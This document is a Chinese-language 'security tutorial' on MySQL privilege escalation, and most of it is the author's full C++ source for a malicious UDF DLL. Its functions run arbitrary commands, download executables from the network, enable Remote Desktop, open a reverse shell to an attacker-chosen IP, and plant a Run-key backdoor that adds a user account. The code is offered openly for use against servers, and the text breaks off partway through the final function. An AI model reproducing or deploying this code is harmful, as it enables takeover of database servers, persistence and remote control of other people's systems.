Mysql提权方法利用_安全教程

mysql是一个常用的数据库系统,应用极广泛,如果得到一个mysql的用户权限,如果提升呢,下面这个思路很先进! 但得有一定编程基础! 

 现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF，比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell，但是使用这个函数会造成MYSQL假死，前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了，造成了MYSQL当掉。my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。 
  MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：

 程序代码
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{ 
//在open3389函数之前调用，一般用于初始化工作，为可选函数； 
//return 1出错 ,0 正常 
 return 0; 
} 
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
//真正实现功能的函数，必需函数； 
/* 
函数内容; 
return 结果; 
*/ 
} 
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid) 
{ 
//在open3389函数之后调用，一般用于内存释放，可选函数； 
}

  以上的open3389函数的返回值是char *类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。 
  在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。 

以下是我写的UDF内容，它包含10个函数： 
cmdshell 执行cmd； 
downloader 下载者,到网上下载指定文件并保存到指定目录； 
open3389 通用开3389终端服务，可指定端口(不改端口无需重启)； 
backshell 反弹Shell； 
ProcessView 枚举系统进程； 
KillProcess 终止指定进程； 
regread 读注册表； 
regwrite 写注册表； 
shut 关机，注销，重启； 
about 说明与帮助函数； 

使用方法: 
创建函数：create function 函数名(区分大小写) returns string soname 'dll名' (注意路径)； 
删除函数：delete function 函数名； 
使用函数：select 函数名(参数列表)；获取参数信息可使用select 函数名("help")； 
以上几个函数都经过多次的测试（测试平台：MYSQL 5.0.24-community-nt、Windows XP），不太可能会造成MYSQL假死等现象，但也不排除在特殊环境，特殊输入的情况下出错的可能，如发现bug可通知我，QQ：185826531（langouster）

 程序代码
//--------------------------------------------------------------------------源程序 
// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。 
#include "stdafx.h" 
#include "stdio.h" 
#include <windows.h> 
#include <tlhelp32.h> 
#include <stdlib.h> 
#include <winsock.h> 
#include <Urlmon.h> 
#include "mysql.h" 
#include "resource.h" 

#pragma comment(lib, "Urlmon.lib") 
HANDLE g_module; 
//-------------------------------------------------------------------------------------------------------------------------- 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) 
{ 
  if(ul_reason_for_call==DLL_PROCESS_ATTACH) 
 g_module=hModule; 
  return TRUE; 
} 
//--------------------------------------------------------------------------------------------------------------------------cmdshell 
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 

 if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(200); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 int RunStatus=0; 
 char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100]; 
 DWORD size=0,len; 
 HANDLE hFile; 
  
 GetSystemDirectory(ShellPath,MAX_PATH-1); 
 strcat(ShellPath,"\\cmd.exe"); 
 GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1); 
 strcat(TempFilePath,"\\2351213.tmp"); 

 cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7); 
 strcpy(cmdline," /c "); 
 strcat(cmdline,(args->args)[0]); 
 strcat(cmdline,">"); 
 strcat(cmdline,TempFilePath); 

 STARTUPINFO si; 
 PROCESS_INFORMATION pi; 
 ZeroMemory( &si, sizeof(si) ); 
 si.wShowWindow=SW_HIDE; 
 si.cb = sizeof(si); 
 ZeroMemory( π, sizeof(pi) ); 
 RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,π); 
 free(cmdline); 

 if(!RunStatus) 
 { 
 itoa(GetLastError(),temp,10); 
 sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp); 
 initid->ptr=(char *)malloc(strlen(temp)+1); 
 strcpy(initid->ptr,temp); 
 (*length)=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 WaitForSingleObject(pi.hProcess,30000); 

 //获得结果 
 hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL); 
 if(hFile!=INVALID_HANDLE_VALUE) 
 { 
 size=GetFileSize(hFile,NULL); 
 initid->ptr=(char *)malloc(size+100); 
 ReadFile(hFile,initid->ptr,size+1,&len,NULL); 
 (initid->ptr)[size]='\0'; 
 strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n"); 

 CloseHandle(hFile); 
 DeleteFile(TempFilePath); 
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n"); 
 } 
 (*length)=strlen(initid->ptr); 
 return initid->ptr; 

} 
extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr!=NULL) 
 free(initid->ptr); 
} 
//---------------------------------------------------------------------------------------------------------------------------downloader 
extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(200); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HANDLE hFile; 
 char path[MAX_PATH]; 

 strcpy(path,(args->args)[1]); 
  
 hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,Create_ALWAYS,0,NULL); 
 if(hFile==INVALID_HANDLE_VALUE) 
 { 
 initid->ptr=(char *)malloc(100+strlen(path)); 
 sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 CloseHandle(hFile); 
 DeleteFile(path); 
  
 if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK) 
 { 
 initid->ptr=(char *)malloc(50+strlen(path)); 
 sprintf(initid->ptr,"下载文件成功(%s).",path); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100+strlen((args->args)[0])); 
 sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

} 
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------open3389 
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT))) 
 { 
 initid->ptr=(char *)malloc(200); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n例:select open3389([端口]);"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HRSRC hrsrc1; 
 HGLOBAL hglobal1; 
 HANDLE hFile; 
 char path[MAX_PATH]; 
 DWORD size,size2; 

 GetEnvironmentVariable("temp",path,MAX_PATH-1); 
 strcat(path,"\\457391.exe"); 

 hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN"); 
 if(hrsrc1==NULL) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"查找资源出错,open3389无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 size=SizeofResource((HMODULE)g_module, hrsrc1); 
 hglobal1=LoadResource((HMODULE)g_module, hrsrc1); 
 if(hglobal1==NULL) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"载入资源出错,open3389无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 hFile = CreateFile(path,GENERIC_WRITE,0, NULL,Create_ALWAYS,0,NULL); 
 if(hFile==INVALID_HANDLE_VALUE) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL); 
 CloseHandle(hFile); 
 GlobalFree(hglobal1); 

 STARTUPINFO si; 
 PROCESS_INFORMATION pi; 
 ZeroMemory( &si, sizeof(si) ); 
 si.wShowWindow=SW_HIDE; 
 si.cb = sizeof(si); 
 ZeroMemory( π, sizeof(pi) ); 
 bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,π); 
 if(!RunStatus) 
 { 
 DeleteFile(path); 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 WaitForSingleObject(pi.hProcess,5000); 
 DeleteFile(path); 
 //改端口 
 if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT) 
 { 
 HKEY key; 
 DWORD dwDisposition; 
 DWORD port=*((long long *) args->args[0]); 

 RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition); 
 if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port))) 
 { 
 RegCloseKey(key); 
 RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition); 
 if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port))) 
 { 
 RegCloseKey(key); 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"成功开启3389终端服务....\r\n成功修改终端服务端口为%d,重启后生效,重启系统可利用WindowsExit函数.",port); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 } 
 RegCloseKey(key); 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"成功开启3389终端服务....\r\n修改终端服务端口失败."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
  
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"成功开启3389终端服务.\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
} 
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------regread 
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *regread(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(250); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"读注册表函数.\r\n例:select regread(\"HKEY_LOCAL_MACHINE\",\"SYSTEM\\\\ControlSet001\\\\Services\\\\W3SVC\\\\Parameters\\\\Virtual Roots\",\"/\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 DWORD a,b,c; 
 BYTE bytere[1000]; 
 HKEY key,key2; 
 if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0) 
 key=HKEY_LOCAL_MACHINE; 
 else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0) 
 key=HKEY_CLASSES_ROOT ; 
 else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0) 
 key=HKEY_CURRENT_USER ; 
 else if(strcmp("HKEY_USERS ",(args->args)[0])==0) 
 key=HKEY_USERS ;
else 
 { 
 initid->ptr=(char *)malloc(50+strlen((args->args)[0])); 
 sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
  

 RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b); 
 if(b==REG_OPENED_EXISTING_KEY) 
 { 
 if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c)) 
 { 
 CloseHandle(key2); 
 initid->ptr=(char *)malloc(1001); 
 memset(initid->ptr,0,1001); 
 strcpy(initid->ptr,(char *)bytere); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 CloseHandle(key2); 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"找不注册表值\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 } 
 else 
 { 
 CloseHandle(key2); 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"找不注册表项\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

} 
extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------regwrite 
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *regwrite(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=5 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || args->arg_type[3]!=STRING_RESULT || args->arg_type[4]!=STRING_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(300); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"写注册表函数.\r\n例:select regwrite(\"HKEY_LOCAL_MACHINE\",\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"adduser\",\"REG_SZ\",\"cmd.exe /c net user langouster langouster /add\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HKEY key,hkey; 
 DWORD dwDisposition,ktype; 

 if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0) 
 hkey=HKEY_LOCAL_MACHINE; 
 else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0) 
 hkey=HKEY_CLASSES_ROOT ; 
 else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0) 
 hkey=HKEY_CURRENT_USER ; 
 else if(strcmp("HKEY_USERS ",(args->args)[0])==0) 
 hkey=HKEY_USERS ; 
 else 
 { 
 initid->ptr=(char *)malloc(50+strlen((args->args)[0])); 
 sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 if(strcmp("REG_BINARY",(args->args)[3])==0) 
 ktype=REG_BINARY; 
 else if(strcmp("REG_DWORD",(args->args)[3])==0) 
 ktype=REG_DWORD ; 
 else if(strcmp("REG_DWORD_LITTLE_ENDIAN",(args->args)[3])==0) 
 ktype=REG_DWORD_LITTLE_ENDIAN ; 
 else if(strcmp("REG_DWORD_BIG_ENDIAN",(args->args)[3])==0) 
 ktype=REG_DWORD_BIG_ENDIAN ; 
 else if(strcmp("REG_EXPAND_SZ",(args->args)[3])==0) 
 ktype=REG_EXPAND_SZ ; 
 else if(strcmp("REG_LINK",(args->args)[3])==0) 
 ktype=REG_LINK ; 
 else if(strcmp("REG_MULTI_SZ",(args->args)[3])==0) 
 ktype=REG_MULTI_SZ ; 
 else if(strcmp("REG_NONE",(args->args)[3])==0) 
 ktype=REG_NONE ; 
 else if(strcmp("REG_RESOURCE_LIST",(args->args)[3])==0) 
 ktype=REG_RESOURCE_LIST ; 
 else if(strcmp("REG_SZ",(args->args)[3])==0) 
 ktype=REG_SZ ; 
 else 
 { 
 initid->ptr=(char *)malloc(50+strlen((args->args)[3])); 
 sprintf(initid->ptr,"未知的注册表值类型:%s\r\n",(args->args)[3]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 RegCreateKeyEx(hkey,(args->args)[1],0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition); 
 if(!RegSetValueEx(key,(args->args)[2],0,ktype,(BYTE *)(args->args)[4],lstrlen((args->args)[4])+1)) 
 { 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"写注册表成功\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"写注册表失败，可能是您的权限不够\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 RegCloseKey(key); 

} 
extern "C" __declspec(dllexport)void regwrite_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------KillProcess 
extern "C" __declspec(dllexport)my_bool KillProcess_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *KillProcess(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || (strcmp((args->args)[0],"help")==0)) 
 { 
 initid->ptr=(char *)malloc(200); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"结束进程函数.\r\n例:select KillProcess(\"进程名 或 进程ID(十进制)\");\r\n程序目前还不能结束系统进程."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HANDLE hSnapshot = NULL; 
 DWORD processid=0; 
 HANDLE hProcess; 
 char ProcessName[MAX_PATH],tempchar[10]; 
 PROCESSENTRY32 pe; 

 strcpy(ProcessName,(args->args)[0]); 
 hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); 
 pe.dwSize = sizeof(PROCESSENTRY32); 
 Process32First(hSnapshot,&pe); 
 do 
 { 
 itoa(pe.th32ProcessID,tempchar,10); 
 if(stricmp(pe.szExeFile,ProcessName)==0 || stricmp(tempchar,ProcessName)==0) 
 { 
 processid=pe.th32ProcessID; 
 break; 
 } 
 } 
 while(Process32Next(hSnapshot,&pe)==TRUE); 
 CloseHandle(hSnapshot); 

 if(processid==0) 
 { 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"找不到进程%s,请确认进程是否存在!",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 hProcess=OpenProcess(PROCESS_TERMINATE,false,processid); 
 if(TerminateProcess(hProcess,0)) 
 { 
 CloseHandle(hProcess); 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"%s进程成功终止.",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 CloseHandle(hProcess); 
 initid->ptr=(char *)malloc(100); 
 sprintf(initid->ptr,"%s进程终止失败,您的权限可能不足.",(args->args)[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 

 } 
} 
extern "C" __declspec(dllexport)void KillProcess_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------ProcessView 
extern "C" __declspec(dllexport)my_bool ProcessView_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *ProcessView(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=0) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"枚举进程函数.\r\n例:select ProcessView();"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HANDLE hSnapshot = NULL; 
 DWORD processid=0; 
 PROCESSENTRY32 pe; 
 char tempchar[10]; 

 initid->ptr=(char *)malloc(2000); 
 if(initid->ptr==NULL)return NULL; 
 memset(initid->ptr,0,1000); 

 hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); 
 pe.dwSize = sizeof(PROCESSENTRY32); 
 Process32First(hSnapshot,&pe); 
 do 
 { 
 strcat(initid->ptr,pe.szExeFile); 
 strcat(initid->ptr,"\t"); 
 itoa(pe.th32ProcessID,tempchar,10); 
 strcat(initid->ptr,tempchar); 
 strcat(initid->ptr,"\r\n"); 
 } 
 while(Process32Next(hSnapshot,&pe)==TRUE); 
 CloseHandle(hSnapshot); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 

} 
extern "C" __declspec(dllexport)void ProcessView_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr!=NULL) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------WindowsExit 
extern "C" __declspec(dllexport)my_bool shut_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *shut(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"关机重启注销函数.\r\n例:select shut(\"logoff|shutdown|reboot\");"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HANDLE hToken; 
 TOKEN_PRIVILEGES token; 
 UINT Flag; 
 if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken)) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"获得进程访问信令出错,您的权限可能不足.\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 token.PrivilegeCount = 1; 
 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &token.Privileges[0].Luid); 
 token.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 
 if(!AdjustTokenPrivileges(hToken,0,&token, sizeof(token),0,0)) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"获得关机令牌出错,您的权限可能不足.\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 if(stricmp(args->args[0],"logoff")==0) 
 Flag=EWX_LOGOFF|EWX_FORCE; 
 else if(stricmp(args->args[0],"shutdown")==0) 
 Flag=EWX_SHUTDOWN|EWX_FORCE; 
 else if(stricmp(args->args[0],"reboot")==0) 
 Flag=EWX_REBOOT|EWX_FORCE; 
 else 
 { 
 initid->ptr=(char *)malloc(100+strlen(args->args[0])); 
 if(initid->ptr==NULL)return NULL; 
 sprintf(initid->ptr,"未知的参数%s,期望为logoff、shutdown、reboot中的一个.\r\n",args->args[0]); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 if(ExitWindowsEx(Flag,0)) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 sprintf(initid->ptr,"成功执行.\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 sprintf(initid->ptr,"执行失败,您的权限可能不足.\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

} 
extern "C" __declspec(dllexport)void shut_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr!=NULL) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------BackShell 
extern "C" __declspec(dllexport)my_bool backshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *backshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=INT_RESULT || stricmp(args->args[0],"help")==0) 
 { 
 initid->ptr=(char *)malloc(100); 
 if(initid->ptr==NULL)return NULL; 
 strcpy(initid->ptr,"反弹shell.\r\n例:select backshell(\"your IP\",your port);"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 HRSRC hrsrc1; 
 HGLOBAL hglobal1; 
 HANDLE hFile; 
 char path[MAX_PATH],cmd[400]; 
 DWORD size,size2; 

 GetEnvironmentVariable("temp",path,MAX_PATH-1); 
 strcat(path,"\\95315964.tmp"); 

 hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN2), "BIN"); 
 if(hrsrc1==NULL) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"查找资源出错,backshell无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 size=SizeofResource((HMODULE)g_module, hrsrc1); 
 hglobal1=LoadResource((HMODULE)g_module, hrsrc1); 
 if(hglobal1==NULL) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"载入资源出错,backshell无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 

 hFile = CreateFile(path,GENERIC_WRITE,0, NULL,Create_ALWAYS,0,NULL); 
 if(hFile==INVALID_HANDLE_VALUE) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"创建临时文件出错,backshell无法继续运行."); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL); 
 CloseHandle(hFile); 
 GlobalFree(hglobal1); 
 strcpy(cmd,path); 
 GetSystemDirectory(path,MAX_PATH-1); 
 strcat(path,"\\cmd.exe"); 
 sprintf(cmd,"%s -e %s %s %d",cmd,path,args->args[0],*((long long *) args->args[1])); 
 if(WinExec(cmd,SW_HIDE)>31) 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"执行成功\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
 else 
 { 
 initid->ptr=(char *)malloc(100); 
 strcpy(initid->ptr,"执行失败\r\n"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 
 } 
} 
extern "C" __declspec(dllexport)void backshell_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr!=NULL) 
 free(initid->ptr); 
} 
//--------------------------------------------------------------------------------------------------------------------------about 
extern "C" __declspec(dllexport)my_bool about_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 
{//return 1出错 ,0 正常 
 initid->max_length=65*1024*1024; 
 return 0; 
} 
extern "C" __declspec(dllexport)char *about(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error) 
{ 
 initid->ptr=(char *)malloc(2000); 
 if(initid->ptr==NULL)return NULL; 
